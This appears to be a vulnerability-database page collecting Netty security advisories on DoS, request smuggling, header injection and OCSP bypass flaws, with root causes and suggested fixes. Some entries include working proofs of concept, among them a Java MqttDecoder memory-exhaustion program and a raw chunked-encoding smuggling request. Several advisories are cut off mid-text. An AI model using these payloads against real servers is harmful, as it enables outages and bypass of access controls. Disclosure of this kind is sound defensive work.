-Infinity
0
Severity
7
Command Injection

Unbounded multi-line response accumulation in SmtpResponseDecoder leads to memory-exhaustion DoS

A public GitHub Security Advisory (GHSA-pq4x-537v-r54q) describes the following issue:

Summary io.netty.handler.codec.smtp.SmtpResponseDecoder accumulates the multi-line details of an SMTP response into a per-connection ArrayList<CharSequence> that has NO count or cumulative-size cap. A malicious or MITM SMTP server that withholds the space-separated terminator line and streams unbounded 250-x\r\n continuation lines drives that list to grow without bound across decode() invocations, exhausting the JVM heap and killing the Netty-based SMTP client/MTA process (Denial of Service).

Root Cause this.details (SmtpResponseDecoder.java:35, ArrayList<CharSequence>) is written only at :66 (set to null on the terminator), :85 (new list), and :87 (add). A grep of the file for maxNum/size()/any cumulative cap returns only maxLineLength — a per-line bound, not an aggregate one. Accumulation resets ONLY on the space-separator branch (:64, resets this.details=null at :66); the '-' continuation branch (:79-89) never resets or caps. A server that sends only 250-x\r\n (continuation) and never 250 x\r\n (terminator) grows details forever. The decoded per-line frame is released at :94, but the retained String copies (:59) in details are not, so nothing frees the accumulated memory. LineBasedFrameDecoder.maxLength (LineBasedFrameDecoder.java:44-45,:112) bounds only each individual line — no aggregate/message-level cap exists anywhere in the module.

This is the unpatched structural sibling of CVE-2026-44891, which added a maxNumHeaders cap to StompSubframeDecoder (the only other LineBasedFrameDecoder subclass). SmtpResponseDecoder was never given the analogous cap. It is also the same bug class Netty already published at MEDIUM in GHSA-q4f6-jm68-57ww (unbounded per-connection queue growth -> DoS).

Impact Heap exhaustion -> OutOfMemoryError -> total availability loss (process crash) of the SMTP client/MTA. Client-side decoder: the attacker must occupy the server side of the connection (attacker-controlled MX for direct-to-MX delivery, user/tenant-supplied SMTP host, mail-testing tooling, or a STARTTLS-downgrade MITM on cleartext SMTP).

Proof of Concept Stand up an SMTP listener that, upon any client connection, repeatedly writes 250-x\r\n and never sends a space-separated terminator (250 x\r\n). Point a Netty pipeline containing SmtpResponseDecoder at it. details grows one retained String (~40-60 bytes) per 7-byte line until the client heap is exhausted.

Attack Chain 1. Entry: a Netty-based SMTP client/MTA (pipeline contains SmtpResponseDecoder) opens a connection to an attacker-controlled or MITM'd SMTP server. - Guard: none at connect; TLS is no barrier when the attacker owns the endpoint or downgrades STARTTLS on cleartext SMTP. - Bypass proof: the class is client-side by construction (decodes server responses; SmtpResponseDecoderTest.java:148 instantiates it for inbound decoding). MTAs connect to remote-controlled MX servers by design. 2. Check/Feed continuation lines: server streams 250-x\r\n (7 bytes, non-empty detail) repeatedly, each below maxLineLength. - Guard: LineBasedFrameDecoder.maxLength per-line bound (LineBasedFrameDecoder.java:112). - Bypass proof: each 7-byte line is far below maxLineLength; the check never inspects details. Every line takes the '-' branch (:79) -> details.add(detail) (:87). 3. Withhold terminator: server never sends the space-separated 250 x\r\n line. - Guard: the only reset of this.details is the space branch at :66; there is no count/size cap on the '-' path. - Bypass proof: writes to this.details occur only at :66 (null), :85 (new), :87 (add) - confirmed by grep; no details.size()/maxNum check exists. details is an instance field (:35) persisting across decode() calls. 4. Sink: this.details and its retained String elements grow without bound across decode() invocations (:87). - Guard: none - no aggregate frame/message limit; the per-line frame is released at :94 but the retained String copy (:59) is not. - Bypass proof: LineBasedFrameDecoder bounds only per-line length; nothing caps cumulative retained objects. 5. Impact: OutOfMemoryError -> DoS of the SMTP client/MTA process.

Bypass Evidence - On latest release tag netty-4.2.16.Final, git show netty-4.2.16.Final:.../SmtpResponseDecoder.java shows new ArrayList<CharSequence>(4) (:85) and details.add(detail) (:69/:87) with NO cap; only maxLineLength is present. - grep -rnE "maxNum|maxDetails|maxLines|TooLongFrameException" codec-smtp/ returns NONE — no aggregate cap anywhere in the module. - git log netty-4.2.16.Final..HEAD -- SmtpResponseDecoder.java is empty — no post-release fix. - Contrast: the sibling StompSubframeDecoder HAS maxNumHeaders -> TooLongFrameException; SMTP has no equivalent. - Dedup clean: netty's published advisories contain no SmtpResponseDecoder/codec-smtp memory-exhaustion entry (the only codec-smtp advisory, GHSA-jq43-27x9-3v86, is SMTP command injection — a different class).

Affected Versions io.netty:netty-codec-smtp <= 4.2.16.Final (all released versions; the 4.1.x line is likewise affected — the decoder has had no aggregate cap since its 2016 introduction).

Suggested Fix Add a maxNumLines (and/or cumulative-detail-size) parameter to SmtpResponseDecoder, incrementing per continuation line and throwing TooLongFrameException when exceeded — mirroring StompSubframeDecoder's maxNumHeaders. Provide a safe default (e.g., 128) via an overloaded constructor.

--- Reported by zx (Jace) — GitHub: @manus-use

Affected: - maven:io.netty:netty-codec-smtp affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-smtp affected >= 4.1.0.Final, <= 4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-pq4x-537v-r54q

First published (updated )
Severity
4

HTTP/2 header field values are not validated by default (CR/LF/NUL passthrough)

A public GitHub Security Advisory (GHSA-8whp-c7w8-2m72) describes the following issue:

Summary

Netty's HTTP/2 stack does not validate header field values by default. Genuine prohibited octets — NUL (0x00), LF (0x0A), CR (0x0D) — can be set in an HTTP/2 header value and are carried verbatim to the wire (outbound) and into decoded headers (inbound). This violates RFC 9113 §8.2.1 and becomes an exploitable request-smuggling / header- injection / response-splitting vector at an HTTP/2 ↔ HTTP/1.1 translation boundary.

This report deliberately reframes an earlier report that blamed io.netty.util.AsciiString.c2b(char). c2b is not the problem — see "Non-issue: c2b" below. The real gap is the absence of field-value validation in the HTTP/2 header layer.

Impact

- Severity: depends on deployment. Low on a pure end-to-end HTTP/2 hop (HPACK is length-prefixed, so embedded CR/LF do not split fields on the H2 wire). - Elevated to request smuggling / response splitting whenever a value crosses into HTTP/1.1 (proxy / gateway / adapter) where CR/LF/COLON are delimiters. - RFC 9113 §8.2.1: "Failure to validate fields can be exploited for request smuggling attacks. ... A field value MUST NOT contain the zero value (ASCII NUL, 0x00), line feed (ASCII LF, 0x0a), or carriage return (ASCII CR, 0x0d) at any position." Such messages MUST be treated as malformed, and non-tunnelling intermediaries MUST NOT forward fields containing these octets. RFC 7540 §10.3 has equivalent language.

Root cause: value validation is opt-in and off by default

Header names are validated by default and are not affected: DefaultHttp2Headers HTTP2NAMEVALIDATOR (active when validate=true, the default) runs HttpHeaderValidationUtil.validateToken, which rejects control chars, SP, uppercase, non-ASCII, and (for CharSequence) any char > 0xFF.

Header values are only checked by an opt-in validator that is disabled by default:

- DefaultHttp2Headers() and DefaultHttp2Headers(boolean) install ValueValidator.NOVALIDATION. - Only DefaultHttp2Headers(boolean validate, boolean validateValues, int) installs the real VALUEVALIDATOR (which calls HttpHeaderValidationUtil.validateValidHeaderValue, correctly rejecting < 0x20 except HTAB, and 0x7F — i.e. CR/LF/NUL). - DefaultHttp2HeadersDecoder defaults validateHeaderValues = false. - No public builder exposes value validation. Http2FrameCodecBuilder / AbstractHttp2ConnectionHandlerBuilder.validateHeaders (default true) is wired only to the decoder's name validator, never to value validation and never to the encoder.

The outbound encode path performs no value validation at any stage:

Http2FrameCodec.writeHeadersFrame -> DefaultHttp2ConnectionEncoder.writeHeaders0 (validateHeadersSentState: stream lifecycle only) -> DefaultHttp2FrameWriter.writeHeadersInternal (stream id / padding / weight only) -> DefaultHttp2HeadersEncoder / HpackEncoder.encodeHeaders (serializes as-is)

Because CR (0x0D), LF (0x0A), and NUL (0x00) are all ≤ 255, they survive the char→byte conversion unchanged and are emitted verbatim.

Where it becomes exploitable (H2 → H1.1 translation)

HttpConversionUtil.translateHeaders() copies values with raw output.add(name, value) and performs no CR/LF scan of its own. Whether the prohibited octets are caught depends entirely on whether the destination HTTP/1.1 HttpHeaders has value validation enabled:

- Http2StreamFrameToHttpObjectCodec(boolean isServer) defaults validateHeaders=true → the resulting HTTP/1.1 headers use DEFAULTVALUEVALIDATOR → protected. - InboundHttp2ToHttpAdapter takes validateHttpHeaders from its builder. If set false, an HTTP/2 value containing CR+LF flows verbatim into the HTTP/1.1 message, enabling header injection / request smuggling / response splitting.

Non-issue: AsciiString.c2b() is a clamp, not a security boundary

java private static final char MAXCHARVALUE = 255; public static byte c2b(char c) { return (byte) ((c > MAXCHARVALUE) ? '?' : c); }

The earlier report proposed changing c2b. That is misdirected:

1. C1 control passthrough (0x80–0x9F) is spec-compliant. These octets are obs-text (%x80–FF), valid in field values. HPACK is length-prefixed, so they are never delimiters on the HTTP/2 wire. No action needed. 2. The > 255 → '?' replacement is protective, not harmful. It prevents the "ghost bits" truncation attack: were c2b to truncate raw (as the private, unreachable c2b0 does), \u010A (266) would become 0x0A (LF) and \u010D (269) would become 0x0D (CR) on the wire — actual injection. The clamp closes that hole. The proposed "reject C1 in c2b" change adds no security and would break obs-text. 3. The silent ? substitution of > 255 chars is at most a correctness/interop concern (application String vs. wire bytes mismatch); it makes values safer, not more dangerous, and is not a vulnerability.

Fixing c2b neither addresses the real gap nor is necessary. The fix belongs in the HTTP/2 header layer.

Affected code

- io.netty.handler.codec.http2.DefaultHttp2Headers — value validator off in the common constructors. - io.netty.handler.codec.http2.DefaultHttp2HeadersDecoder — validateHeaderValues defaults to false. - io.netty.handler.codec.http2.Http2FrameCodecBuilder / AbstractHttp2ConnectionHandlerBuilder — no way to enable value validation; the validateHeaders flag reaches only the decoder's name check. - Outbound: DefaultHttp2ConnectionEncoder, DefaultHttp2FrameWriter, HpackEncoder — no value validation on encode. - Translation: HttpConversionUtil.translateHeaders, InboundHttp2ToHttpAdapter (when validateHttpHeaders=false).

Suggested fix

1. Validate HTTP/2 field values against RFC 9113 §8.2.1 — reject NUL (0x00), LF (0x0A), CR (0x0D) at any position (the logic alread

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-8whp-c7w8-2m72

First published (updated )
Severity
5.9
EPSS
0.23%
AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N

A flaw was found in Netty's Online Certificate Status Protocol (OCSP) Client. The client fails to verify the 'id-kp-OCSPSigning' Extended Key Usage (EKU) in OCSP responder certificates. A remote attacker, holding any valid certificate issued by the same Certificate Authority (CA), can exploit this by forging 'GOOD' OCSP responses for revoked certificates. This bypasses certificate revocation checks, allowing applications using Netty's OCSP Client to accept certificates that should have been revoked, leading to an authorization bypass.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.27%
Command Injection, CRLF Injection
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

A flaw was found in Netty netty-codec-smtp. The component does not properly validate Carriage Return (CR) and Line Feed (LF) characters in the SMTP command-name field. A remote attacker, if an application routes untrusted input into this field, can embed CR/LF characters to inject arbitrary SMTP commands. This can lead to SMTP command smuggling, allowing for unauthorized email relay or spoofing of sender/recipient addresses. While the impact is significant, the real-world exploitability is considered lower as applications typically do not place user-controlled data in the command-name field.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.39%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Netty's MqttDecoder. An unauthenticated remote attacker can exploit this vulnerability by sending a specially crafted MQTT CONNECT packet. The decoder fails to properly validate the 'Properties Length' against the 'Remaining Length', allowing an attacker to bypass size limits. This leads to excessive memory and CPU consumption, resulting in a denial of service (DoS) due to an OutOfMemoryError.

1 / 2
Source: MITRE
First published (updated )
Severity
7

Resource Exhaustion in MqttDecoder

A public GitHub Security Advisory (GHSA-jqf3-r9ww-c5x8) describes the following issue:

Summary Netty's fix for CVE-2026-44248 is incomplete. The decoder checks if the MQTT packet's Remaining Length exceeds maxBytesInMessage, but fails to validate the Properties Length against the Remaining Length. An attacker can bypass the size limit by sending a small Remaining Length but an enormous Properties Length. This forces Netty to buffer and parse millions of properties, allowing an unauthenticated remote attacker to trigger excessive memory and CPU consumption, leading to OutOfMemoryError.

Details In io.netty.handler.codec.mqtt.MqttDecoder, the decodeProperties() helper method reads totalPropertiesLength and attempts to parse that many bytes. If the buffer lacks the full length, a Signal is thrown. The catch block inside decode() only enforces maxBytesInMessage against bytesRemainingBeforeVariableHeader (the packet's Remaining Length).

By sending a CONNECT packet with a small Remaining Length but a huge Properties Length, the size check passes. ReplayingDecoder then buffers data from the network until the huge Properties Length is reached, parsing millions of UserProperty objects and exhausting CPU and memory.

PoC

java public class PoC { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new MqttDecoder(8092));

ByteBuf buf = Unpooled.buffer(); buf.writeByte(MqttMessageType.CONNECT.value() << 4); buf.writeByte(16); // Small Remaining Length (bypasses maxBytesInMessage)

buf.writeShort(4); buf.writeBytes("MQTT".getBytes()); buf.writeByte(5); buf.writeByte(0); buf.writeShort(60);

// Huge Properties Length: 268,435,455 buf.writeByte(0xFF); buf.writeByte(0xFF); buf.writeByte(0xFF); buf.writeByte(0x7F);

// Send the header. ReplayingDecoder will now wait for 268MB of properties. channel.writeInbound(buf);

// Send 50MB of properties to cause resource exhaustion byte[] userProp = new byte[]{ 0x26, 0, 1, 'A', 0, 1, 'B' }; ByteBuf chunk = Unpooled.buffer(userProp.length 10000); for (int i = 0; i < 10000; i++) { chunk.writeBytes(userProp); }

try { for (int i = 0; i < 715; i++) { channel.writeInbound(chunk.retainedDuplicate()); } } catch (OutOfMemoryError e) { e.printStackTrace(); } } }

Impact Resource Exhaustion. Any application using io.netty.handler.codec.mqtt.MqttDecoder to process MQTT 5 traffic is impacted.

Affected: - maven:io.netty:netty-codec-mqtt affected >=4.2.0.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-mqtt affected <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-jqf3-r9ww-c5x8

First published (updated )
Severity
6.5
EPSS
0.51%
Integer Overflow
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

A flaw was found in Netty's netty-codec-http component. A remote attacker could exploit this vulnerability by sending a specially crafted HTTP/1.1 chunk-size token that includes post-digit whitespace. This incorrect parsing of the chunk size can lead to HTTP request smuggling. This allows an attacker to bypass security controls or access unauthorized resources in proxy/backend deployments.

1 / 2
Source: MITRE
First published (updated )
Severity
4
Integer Overflow

HTTP request smuggling via post-digit whitespace in chunk-size parsing

A public GitHub Security Advisory (GHSA-j4mg-hqgv-34qc) describes the following issue:

Summary

io.netty:netty-codec-http accepts post-digit whitespace inside an HTTP/1.1 chunk-size token, truncates parsing at that whitespace/control byte, and does not validate the remaining bytes on the line. A malformed chunk line such as 5 c\r\n is parsed as size 0x5 instead of being rejected. The attached local PoV shows Netty then parsing GET /smuggled as a second request on the same connection.

PoC

Run:

sh bash poc/reproduce.sh

The important case is:

text POST / HTTP/1.1\r\n Host: example\r\n Transfer-Encoding: chunked\r\n \r\n 5 c\r\n GPOST\r\n 0\r\n \r\n GET /smuggled HTTP/1.1\r\n Host: example\r\n \r\n

Expected output:

text CASE internal-space-smuggle-shape httpContent class=DefaultHttpContent bytes=5 text=GPOST decoderSuccess=true lastContent=true httpRequest uri=/smuggled path=/smuggled decoderSuccess=true

The PoV also includes:

- 5 x, showing that arbitrary suffix bytes after post-digit whitespace are ignored for sizing. - 5 c;foo=bar, showing that the ambiguity survives when chunk-extension validation is invoked.

Impact

This is an HTTP request-smuggling primitive in proxy/backend deployments where another HTTP component interprets the same malformed chunk-size line differently. Netty is the component that accepts the malformed chunked body and splits the stream into two requests.

No live services were probed. The PoV uses only EmbeddedChannel and HttpRequestDecoder.

This report is not about leading/trailing whitespace compatibility around a chunk-size line. It targets post-digit internal whitespace followed by additional token bytes.

Suggested Fix

Reject internal whitespace/control characters in the chunk-size token. If Netty wants to preserve compatibility for leading/trailing SP/HTAB, the parser should transition to a trailing-whitespace state after the first post-digit whitespace byte and reject any later hex digit or token byte before ;/CRLF.

Affected Package/Versions

Verified affected:

- 4.2.15.Final - 4.2.14.Final - 4.2.13.Final - 4.1.135.Final - 4.1.133.Final - 4.1.90.Final - 4.1.87.Final - current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e

Verified not affected by this exact PoV:

- 4.1.89.Final - 4.1.88.Final

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 9112 chunked transfer coding: https://www.rfc-editor.org/rfc/rfc9112#name-chunked-transfer-coding - Netty HttpDecoderConfig framing-validation documentation: https://netty.io/4.2/api/io/netty/handler/codec/http/HttpDecoderConfig.html - Adjacent Netty chunk-size advisory: https://github.com/netty/netty/security/advisories/GHSA-m4cv-j2px-7723 - Adjacent Netty initial-control-character advisory: https://github.com/netty/netty/security/advisories/GHSA-hvcg-qmg6-jm4c - Adjacent Netty start-line injection advisory: https://github.com/advisories/GHSA-v8h7-rr48-vmmv - CWE-444: https://cwe.mitre.org/data/definitions/444.html

Classification

- CWE-444 - Suggested severity: Moderate - Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L

Non-Duplicate Boundary

This is distinct from prior Netty request-smuggling advisories:

- GHSA-m4cv-j2px-7723 fixed chunk-size integer overflow in getChunkSize; this candidate reproduces on its patched versions 4.2.13.Final and 4.1.133.Final. - GHSA-hvcg-qmg6-jm4c / CVE-2026-50020 fixed non-CRLF control-character skipping before the request line; this candidate is in chunk-size parsing after a normal POST request has already started, and it reproduces on that advisory's patched versions 4.2.15.Final and 4.1.135.Final. - GHSA-v8h7-rr48-vmmv / CVE-2026-41417 fixed setUri() start-line injection during outbound encoding; this candidate is inbound chunk-size parsing and does not require DefaultHttpRequest.setUri(). - GHSA-fghv-69vj-qj49 and GHSA-pwqr-wmgm-9rr8 concern chunk-extension parsing; this candidate is in the chunk-size token before extension parsing. - GHSA-38f8-5428-x5cv concerns malformed Transfer-Encoding; this candidate uses a normal Transfer-Encoding: chunked header and a malformed chunk-size line.

Affected: - maven:io.netty:netty-codec-http affected >=4.2.13.Final, <=4.2.17.Final; fixed unknown - maven:io.netty:netty-codec-http affected >=4.1.90.Final, <=4.1.137.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-j4mg-hqgv-34qc

First published (updated )
Severity
6.5
EPSS
0.34%
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

A flaw was found in Netty's HTTP/1.1 decoder. This vulnerability allows a remote attacker to bypass Transfer-Encoding header validation by splitting the Transfer-Encoding field across multiple headers, with the last field containing a non-final transfer coding like gzip or deflate. This bypass can lead to HTTP request smuggling, enabling attackers to bypass security controls, desynchronize request processing, or cause requests to be processed in an unintended context.

1 / 2
Source: MITRE
First published (updated )
Severity
7.5
EPSS
0.34%
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A flaw was found in Netty's RedisArrayAggregator component. A remote attacker can exploit this vulnerability by sending specially crafted nested Redis (RESP) array headers. This can cause the RedisArrayAggregator to eagerly preallocate a large amount of heap memory, leading to heap memory exhaustion and a Denial of Service (DoS) for applications using RedisDecoder with RedisArrayAggregator on untrusted traffic.

1 / 2
Source: MITRE
First published (updated )
Severity
8.2
EPSS
0.52%
Input Validation
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

A flaw was found in Netty. A remote unauthenticated attacker can exploit a vulnerability in Netty's HTTP/1 to HTTP/2 conversion process. When an HTTP/1 request includes both an absolute-form request-target and a conflicting Host header, Netty incorrectly prioritizes the Host header for the HTTP/2 :authority field, discarding the original request-target authority. This inconsistency can allow an attacker to bypass security controls in Netty-based proxies or gateways, potentially leading to unauthorized access, cache poisoning, or misrouting of requests.

1 / 2
Source: MITRE
First published (updated )
Severity
7
Input Validation

HTTP/1 absolute-form Host mismatch is translated to HTTP/2 :authority, overriding the request-target authority

A public GitHub Security Advisory (GHSA-cg2g-fxr4-mg8m) describes the following issue:

Summary

HttpConversionUtil.toHttp2Headers(...) translates an HTTP/1 request with an absolute-form request-target and a conflicting Host header into HTTP/2 using the Host header as :authority.

For example, this raw HTTP/1 request:

http GET http://request-target.example/admin HTTP/1.1 Host: host-header.example

is translated by Netty into HTTP/2 control data with:

text :scheme = http :path = /admin :authority = host-header.example

The request-target authority request-target.example is discarded because Netty only takes the absolute-form request-line authority when the Host header is empty.

This creates a host/authority confusion primitive in Netty-based HTTP/1 to HTTP/2 proxy or gateway pipelines. A security decision made against the absolute-form request-target authority can be bypassed when Netty forwards the request over HTTP/2 using attacker-controlled Host as :authority.

Technical Details

In codec-http2/src/main/java/io/netty/handler/codec/http2/HttpConversionUtil.java, toHttp2Headers(...) initializes host from the HTTP/1 Host header:

java String host = inHeaders.getAsString(HttpHeaderNames.HOST);

For non-origin-form requests, it parses the request target and sets the HTTP/2 path:

java String requestTarget = request.uri(); out.path(toHttp2Path(requestTarget));

When the request-target has a scheme and authority, Netty parses the scheme/authority portion, but only uses that authority if Host was empty:

java URI requestTargetUri = URI.create(http2PathlessRequestTarget(requestTarget)); // Take from the request-line if HOST header was empty host = isNullOrEmpty(host) ? requestTargetUri.getAuthority() : host; setHttp2Scheme(inHeaders, requestTargetUri, out);

Finally, Netty emits :authority from host:

java setHttp2Authority(host, out);

The result is that a conflicting Host header overrides the authoritative absolute-form request-target authority during HTTP/1 to HTTP/2 conversion.

Impact

In a Netty-based proxy or gateway that accepts HTTP/1, performs access control, routing, tenant selection, egress allowlisting, or cache-keying based on the absolute-form request-target, and then forwards the request over HTTP/2 using HttpConversionUtil.toHttp2Headers(...), an attacker can send:

http GET http://allowed.example/admin HTTP/1.1 Host: blocked-or-attacker.example

The gateway can approve the request based on allowed.example, while Netty emits an HTTP/2 request with :authority=blocked-or-attacker.example.

This can bypass host or tenant security boundaries, poison cross-host cache entries, or route requests to an unintended upstream. The primitive is not a generic application Host-header trust issue; it is a protocol-conversion inconsistency inside Netty's HTTP/1 to HTTP/2 translation helper.

Suggested Fix

Recommended fix direction:

- If the HTTP/1 request-target is absolute-form and contains an authority component, construct HTTP/2 :authority from that request-target authority. - Alternatively, reject conversion when absolute-form request-target authority and Host differ after scheme-based normalization. - Preserve current origin-form behavior where Host is the authority source. - Add regression tests for mismatched absolute-form authority/Host, matching authority/Host, origin-form Host, userinfo stripping, IPv6 literals, and explicit ports.

Affected Package/Versions

Primary package: io.netty:netty-codec-http2

Related package: io.netty:netty-codec-http

Confirmed affected:

- current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e - 4.2.15.Final at a41f7b289ce1d697c50846f3ade3983e22b2ed40 - 4.1.135.Final at f05f765d81460799c53123a207f665bf3b465171

Suggested affected ranges:

- >= 4.1.0.Final, <= 4.1.135.Final - >= 4.2.0.Final, <= 4.2.15.Final

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 9112 request-target and absolute-form rules: https://datatracker.ietf.org/doc/html/rfc9112#section-3.2 - RFC 9113 request pseudo-header fields: https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1 - RFC 9110 http URI authority syntax: https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.1 - HTTPWG mismatching absolute URI and Host discussion: https://github.com/httpwg/http-core/issues/191 - HTTPWG absolute-form precedence clarification: https://github.com/httpwg/http-core/issues/1105 - Netty HTTP/2 content-length request smuggling advisory: https://github.com/advisories/GHSA-f256-j965-7f32 - Netty HTTP/2 request-smuggling validation advisory: https://github.com/advisories/GHSA-wm47-8v5p-wjpj

CWE and CVSS

Primary CWE: CWE-444 (Inconsistent Interpretation of HTTP Requests).

Secondary CWE: CWE-20 (Improper Input Validation / protocol normalization).

Suggested CVSS v3.1:

text CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N

Suggested severity: High, score 8.1.

Rationale: a remote unauthenticated HTTP/1 client can trigger the conversion differential in a gateway/proxy deployment. The strongest impact is integrity: host, tenant, egress, or route policy can be checked against one authority and forwarded over HTTP/2 to another. Availability impact is not claimed.

Duplicate Boundary

Adjacent public Netty advisories cover different surfaces:

- GHSA-f256-j965-7f32 / CVE-2021-21409: HTTP/2 request smuggling due content-length validation. - GHSA-wm47-8v5p-wjpj / CVE-2021-21295: HTTP/2 request smuggling due missing validation. - GHSA-c7h2-758g-pf5v: private triage item for HTTP/2 :path HTAB surviving HTTP/1 downgrade.

This candidate is HTTP/1 absolute-form to HTTP/2 :authority translation. It does not rely on content-length ambiguity, HTTP/2-to-HTTP/1 downgrade, or request-line whitespace.

Local PoV

PoV file in the local bundle:

po

[truncated]

Affected: - maven:io.netty:netty-codec-http2 affected >= 4.1.0.Final, <= 4.1.137.Final; fixed unknown - maven:io.netty:netty-codec-http2 affected >= 4.2.0.Final, <= 4.2.17.Final; fixed unknown

Fixed versions: see advisory

Advisory: https://github.com/netty/netty/security/advisories/GHSA-cg2g-fxr4-mg8m

First published (updated )
Severity
7

HTTP/2 and HTTP/3 Extended CONNECT requests are downgraded as regular CONNECT requests

A public GitHub Security Advisory (GHSA-w6j8-x45j-w75f) describes the following issue:

Summary

Netty's HTTP/2 and HTTP/3 HTTP-object conversion paths collapse Extended CONNECT requests into ordinary HTTP/1.1 CONNECT requests.

An Extended CONNECT request such as:

text :method: CONNECT :protocol: websocket :scheme: https :path: /admin/ws :authority: ws.example:443

is converted to an HTTP/1.1 object shaped like:

text CONNECT ws.example:443 HTTP/1.1 host: ws.example:443 x-http2-scheme: https

or, for HTTP/3:

text CONNECT ws.example:443 HTTP/1.1 host: ws.example:443 x-http3-scheme: https

The converted request no longer carries the :protocol value or the Extended-CONNECT :path. A downstream handler using Netty's HTTP-object API therefore cannot distinguish this request from a regular CONNECT tunnel to ws.example:443.

That is a semantic security boundary. RFC 8441 defines Extended CONNECT as a different CONNECT mode: the :protocol pseudo-header selects the protocol for the stream, :path remains part of the target URI, and the server must not treat :authority as the host to tunnel to in the same way it would for a regular CONNECT request. RFC 9220 applies the same pseudo-header and setting semantics to HTTP/3.

Technical Details

HTTP/2:

- codec-http2/.../HttpConversionUtil.java:272-280 uses :authority as the HTTP/1 request URI for every CONNECT request. - codec-http2/.../HttpConversionUtil.java:328-337 creates a DefaultHttpRequest with that URI, then translates headers. - codec-http2/.../HttpConversionUtil.java:806-813 maps :authority to Host and :scheme to x-http2-scheme, but does not preserve request :path; unrecognized pseudo-headers such as :protocol are dropped.

HTTP/3:

- codec-http3/.../Http3HeadersSink.java:79-94 recognizes Extended CONNECT and requires :method, :scheme, :authority, :path, and :protocol. - codec-http3/.../HttpConversionUtil.java:201-209 uses :authority as the HTTP/1 request URI for every CONNECT request. - codec-http3/.../HttpConversionUtil.java:259-268 creates a DefaultHttpRequest with that URI, then translates headers. - codec-http3/.../HttpConversionUtil.java:578-585 maps :authority to Host and :scheme to x-http3-scheme, but does not preserve request :path; :protocol is dropped as a pseudo-header.

The resulting object-level shape is security-relevant because applications and gateway integrations commonly authorize CONNECT differently from WebSocket, WebTransport, MASQUE, or other Extended CONNECT protocols. With Netty's conversion path, a policy that permits regular CONNECT to an allowlisted authority can be applied to an Extended CONNECT request whose actual protocol and path were erased before application code sees it.

Impact

A remote HTTP/2 or HTTP/3 client can send an Extended CONNECT request that Netty presents to downstream HTTP-object handlers as a regular CONNECT tunnel.

In gateway, proxy, application-server, or protocol-bridging deployments that use Netty's HTTP-object conversion path, this can bypass routing or authorization logic that is meant to distinguish:

- regular CONNECT tunnels from WebSocket/WebTransport/MASQUE-style Extended CONNECT streams; - allowed CONNECT authorities from protected Extended-CONNECT paths; - enabled/registered Extended CONNECT protocols from ordinary CONNECT traffic.

This report does not claim memory corruption, code execution, confidentiality impact, or impact on applications that never route HTTP/2 or HTTP/3 requests through Netty's HTTP-object adapters. The demonstrated impact is integrity loss through protocol-state confusion before application policy runs.

Suggested Fix

Recommended fix direction:

- do not convert Extended CONNECT into an ordinary HTTP/1 CONNECT object without preserving the Extended-CONNECT state; - either reject Extended CONNECT in HttpConversionUtil.toHttpRequest(...) unless Netty can expose the state safely, or preserve it with explicit extension headers such as x-http2-protocol / x-http3-protocol and x-http2-path / x-http3-path for request conversion; - keep regular CONNECT behavior unchanged; - add regression tests covering direct conversion and the frame-to-object adapters for both HTTP/2 and HTTP/3; - add controls proving regular CONNECT and Extended CONNECT no longer produce the same HTTP-object shape.

If maintainers prefer not to support Extended CONNECT through the HTTP-object API, the safest fix is to fail closed and require users to handle it at the native HTTP/2 or HTTP/3 frame/header layer.

References

- Netty security policy: https://github.com/netty/netty/security/policy - RFC 8441, Extended CONNECT: https://datatracker.ietf.org/doc/html/rfc8441#section-4 - RFC 9220, WebSockets over HTTP/3: https://datatracker.ietf.org/doc/html/rfc9220#section-3 - RFC 9113, HTTP/2 request pseudo-header fields: https://datatracker.ietf.org/doc/html/rfc9113#section-8.3.1 - RFC 9114, HTTP/3 request pseudo-header fields and CONNECT: https://datatracker.ietf.org/doc/html/rfc9114#section-4.3.1 - Go HTTP/2 Extended CONNECT implementation note requiring negotiation before use: https://go.dev/src/net/http/h2bundle.go - Go issue discussing Extended CONNECT API concerns: https://github.com/golang/go/issues/27244

Affected Products

- io.netty:netty-codec-http2 - io.netty:netty-codec-http3

Confirmed affected:

- current 4.2 branch at 7bae566a93e69409697fe57fa807910ba5c9720e - netty-4.2.15.Final at a41f7b289ce1d697c50846f3ade3983e22b2ed40 - netty-4.2.2.Final at 660edeaefa for HTTP/2 - netty-4.2.0.Final at 09e64d259c99 for HTTP/2 - netty-4.1.135.Final at f05f765d81460799c53123a207f665bf3b465171 for HTTP/2

Suggested affected ranges:

- io.netty:netty-codec-http2 >= 4.1.64.Final, <= 4.1.135.Final - io.netty:netty-codec-http2 >= 4.2.0.Final, <= 4.2.15.Final - io.netty:netty-codec-http3 >= 4.2.8.Final, <= 4.2.15.Final

